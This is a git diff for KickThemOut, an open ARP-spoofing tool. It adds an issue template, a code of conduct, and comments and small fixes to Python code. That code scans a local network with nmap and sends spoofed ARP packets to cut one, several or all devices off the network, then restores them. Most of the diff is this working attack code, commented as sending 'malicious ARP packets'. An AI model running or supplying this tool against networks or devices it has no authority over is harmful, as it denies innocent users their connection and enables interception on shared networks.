diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md new file mode 100644 index 0000000..61d1d5d --- /dev/null +++ b/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,30 @@ + + + + +## Checklist for submitting an issue to `KickThemOut`: + +- [ ] I have carefully read the [README](https://github.com/k4m4/kickthemout/blob/master/README.rst) file and haven't managed to resolve my issue. +- [ ] I have searched the [issues](https://github.com/k4m4/kickthemout/issues?utf8=%E2%9C%93&q=is%3Aissue) of this repo and believe that this is not a duplicate. +- [ ] I am running the latest version of KickThemOut. + + + +- **OS name & version**: +- **Python version**: +- **Scapy version**: +- **Nmap version**: +- **Link of [Gist](https://gist.github.com/)**: + +
+ +- **Description**: diff --git a/code-of-conduct.md b/code-of-conduct.md new file mode 100644 index 0000000..1710244 --- /dev/null +++ b/code-of-conduct.md @@ -0,0 +1,74 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as +contributors and maintainers pledge to making participation in our project and +our community a harassment-free experience for everyone, regardless of age, body +size, disability, ethnicity, gender identity and expression, level of experience, +nationality, personal appearance, race, religion, or sexual identity and +orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment +include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or +advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic + address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable +behavior and are expected to take appropriate and fair corrective action in +response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or +reject comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct, or to ban temporarily or +permanently any contributor for other behaviors that they deem inappropriate, +threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. Examples of +representing a project or community include using an official project e-mail +address, posting via an official social media account, or acting as an appointed +representative at an online or offline event. Representation of a project may be +further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported by contacting the project team at nikolaskam@gmail.com. All +complaints will be reviewed and investigated and will result in a response that +is deemed necessary and appropriate to the circumstances. The project team is +obligated to maintain confidentiality with regard to the reporter of an incident. +Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good +faith may face temporary or permanent repercussions as determined by other +members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, +available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/kickthemout.py b/kickthemout.py index 1f3828c..cd68a68 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -11,15 +11,17 @@ See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject) import time, os, sys, logging, math from time import sleep import urllib2 as urllib +import traceback BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m' notRoot = False try: + # check whether user is root if os.geteuid() != 0: print("\n{0}ERROR: KickThemOut must be run with root privileges. Try again with sudo:\n\t{1}$ sudo python kickthemout.py{2}\n").format(RED, GREEN, END) notRoot = True except: - # User is probably on windows + # then user is probably on windows pass if notRoot: raise SystemExit @@ -33,8 +35,12 @@ except: print("\n{0}If you still cannot resolve this error, please submit an issue here:\n\t{1}https://github.com/k4m4/kickthemout/issues\n{2}").format(RED, BLUE, END) raise SystemExit + + +# display heading def heading(): - sys.stdout.write(GREEN + """ + spaces = " " * 76 + sys.stdout.write(GREEN + spaces + """ █ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀ █▄█ ██ █▀ ▀▄ █▄█ ▀▀▀ █ █ █ █▀ ▀ █ █ █ █ █ █ ▀▀▀ █ █▀▄ ██ █ ▀ █▀▄ █ ██▀▀█ ██▄▄ █ ▄ █ █ █ █ █ █ @@ -47,6 +53,9 @@ def heading(): YELLOW, RED, YELLOW, BLUE).center(111) + '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86)) + + +# display options def optionBanner(): print('\nChoose option from menu:\n') sleep(0.2) @@ -58,10 +67,13 @@ def optionBanner(): sleep(0.2) print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE) + + +# initiate debugging process def runDebug(): print("\n\n{0}WARNING! An unknown error has occurred, starting debug...{1}").format(RED, END) print( - "{0}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private informations removed if necessary){1}").format( + "{0}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private information removed where necessary){1}").format( RED, END) print("{0}").format(RED) try: @@ -83,10 +95,18 @@ def runDebug(): print hostsList except: print ("Failed to print hostsList array...") + try: + print ("Crash trace: ") + print(traceback.format_exc()) + except: + print ("Failed to print crash trace...") print ("DEBUG FINISHED.\nShutting down...") print("{0}").format(END) raise SystemExit + + +# regenerate online IPs array & configure gateway def regenOnlineIPs(): global onlineIPs global defaultGatewayMac @@ -103,14 +123,19 @@ def regenOnlineIPs(): defaultGatewayMac = host[1] if not defaultGatewayMacSet and defaultGatewayMac == "": + # request gateway MAC address (after failed detection by scapy) print("\n{0}ERROR: Default Gateway MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END) header = ("{0}kickthemout{1}> {2}Enter your gateway's MAC Address {3}(MM:MM:MM:SS:SS:SS): ".format(BLUE, WHITE, RED, END)) defaultGatewayMac = raw_input(header) defaultGatewayMacSet = True + + +# scan network def scanNetwork(): global hostsList try: + # call scanning function from scan.py hostsList = scan.scanNetwork(getDefaultInterface(True)) except KeyboardInterrupt: print('\n\n{0}Thanks for dropping by.\nCatch ya later!{1}').format(GREEN, END) @@ -120,12 +145,18 @@ def scanNetwork(): raise SystemExit regenOnlineIPs() + + +# kick one device def kickoneoff(): os.system("clear||cls") print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END) + sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END)) + sys.stdout.flush() scanNetwork() + print("Online IPs: ") for i in range(len(onlineIPs)): mac = "" @@ -146,6 +177,7 @@ def kickoneoff(): except: print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END) + # locate MAC of specified device one_target_mac = "" for host in hostsList: if host[0] == one_target_ip: @@ -159,13 +191,16 @@ def kickoneoff(): print("\n{0}Spoofing started... {1}").format(GREEN, END) try: while True: + # broadcast malicious ARP packets (10p/s) spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac) time.sleep(10) except KeyboardInterrupt: + # re-arp target on KeyboardInterrupt exception print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: try: + # broadcast ARP packets with legitimate info to restore connection spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) except KeyboardInterrupt: pass @@ -176,10 +211,14 @@ def kickoneoff(): print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END) + +# kick multiple devices def kicksomeoff(): os.system("clear||cls") print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END) + sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END)) + sys.stdout.flush() scanNetwork() print("Online IPs: ") @@ -219,6 +258,7 @@ def kicksomeoff(): print("\n{0}Spoofing started... {1}").format(GREEN, END) try: while True: + # broadcast malicious ARP packets (10p/s) for i in some_targets: ip = onlineIPs[int(i)] for host in hostsList: @@ -226,9 +266,11 @@ def kicksomeoff(): spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) time.sleep(10) except KeyboardInterrupt: + # re-arp targets on KeyboardInterrupt exception print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: + # broadcast ARP packets with legitimate info to restore connection for i in some_targets: ip = onlineIPs[int(i)] for host in hostsList: @@ -243,10 +285,15 @@ def kicksomeoff(): time.sleep(0.5) print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) + + +# kick all devices def kickalloff(): os.system("clear||cls") print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END) + sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END)) + sys.stdout.flush() scanNetwork() print("Online IPs: ") @@ -260,10 +307,12 @@ def kickalloff(): print("\n{0}Spoofing started... {1}").format(GREEN, END) try: + # broadcast malicious ARP packets (10p/s) reScan = 0 while True: for host in hostsList: if host[0] != defaultGatewayIP: + # dodge gateway (avoid crashing network itself) spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1]) reScan += 1 if reScan == 4: @@ -274,9 +323,11 @@ def kickalloff(): print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END) reArp = 1 while reArp != 10: + # broadcast ARP packets with legitimate info to restore connection for host in hostsList: if host[0] != defaultGatewayIP: try: + # dodge gateway spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1]) except KeyboardInterrupt: pass @@ -286,6 +337,9 @@ def kickalloff(): time.sleep(0.5) print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END) + + +# retrieve network interface def getDefaultInterface(returnNet=False): def long2net(arg): if (arg <= 0 or arg >= 0xFFFFFFFF): @@ -298,7 +352,8 @@ def getDefaultInterface(returnNet=False): if netmask < 16: return None return net - iface_routes = [route for route in scapy.config.conf.route.routes if route[3] == scapy.config.conf.iface ] + + iface_routes = [route for route in scapy.config.conf.route.routes if route[3] == scapy.config.conf.iface and route[1] != 0xFFFFFFFF] network, netmask, _, interface, address = max(iface_routes, key=lambda item:item[1]) net = to_CIDR_notation(network, netmask) if net: @@ -307,16 +362,23 @@ def getDefaultInterface(returnNet=False): else: return interface + + +# retrieve gateway IP def getGatewayIP(): try: getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) return getGateway_p.src except: + # request gateway IP address (after failed detection by scapy) print("\n{0}ERROR: Gateway IP could not be obtained. Please enter IP manually.{1}\n").format(RED, END) header = ('{0}kickthemout{1}> {2}Enter Gateway IP {3}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END)) gatewayIP = raw_input(header) return gatewayIP + + +# retrieve default interface MAC address def getDefaultInterfaceMAC(): try: defaultInterfaceMac = get_if_hwaddr(defaultInterface) @@ -330,13 +392,18 @@ def getDefaultInterfaceMAC(): else: return defaultInterfaceMac except: + # request interface MAC address (after failed detection by scapy) print("\n{0}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END) header = ('{0}kickthemout{1}> {2}Enter MAC Address {3}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END)) defaultInterfaceMac = raw_input(header) return defaultInterfaceMac + + +# resolve mac address of each vendor def resolveMac(mac): try: + # sen request to macvendors.co url = "http://macvendors.co/api/vendorname/" request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"}) response = urllib.urlopen(request) @@ -347,15 +414,19 @@ def resolveMac(mac): except: return "N/A" + + +# script's main function def main(): + # display heading heading() print( "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}" + defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN, RED, GREEN, RED, GREEN, END) - + # display warning in case of no active hosts if len(hostsList) == 0 or len(hostsList) == 1: if len(hostsList) == 1: if hostsList[0][0] == defaultGatewayIP: @@ -401,11 +472,16 @@ def main(): if __name__ == '__main__': + # configure appropriate network info + sys.stdout.write("{0}Scanning your network, hang on...{1}\r".format(GREEN, END)) + sys.stdout.flush() defaultInterface = getDefaultInterface() defaultGatewayIP = getGatewayIP() defaultInterfaceMac = getDefaultInterfaceMAC() global defaultGatewayMacSet defaultGatewayMacSet = False + + # commence scanning process scanNetwork() - main() + main() \ No newline at end of file diff --git a/scan.py b/scan.py index 5889d16..e57354c 100644 --- a/scan.py +++ b/scan.py @@ -1,9 +1,10 @@ #!/usr/bin/env python # -.- coding: utf-8 -.- # scan.py -# author: xdavidhu +# authors: k4m4 & xdavidhu def scanNetwork(network): + # Function for performing a network scan with nmap with the help of the python-nmap module returnlist = [] import nmap nm = nmap.PortScanner() @@ -16,4 +17,5 @@ def scanNetwork(network): except: pass + # returnlist = hostsList array return returnlist diff --git a/spoof.py b/spoof.py index 95c491e..dea1a5c 100644 --- a/spoof.py +++ b/spoof.py @@ -19,6 +19,7 @@ from scapy.all import ( ) def sendPacket(my_mac, gateway_ip, target_ip, target_mac): + # Function for sending the malicious ARP packets out with the specified data ether = Ether() ether.src = my_mac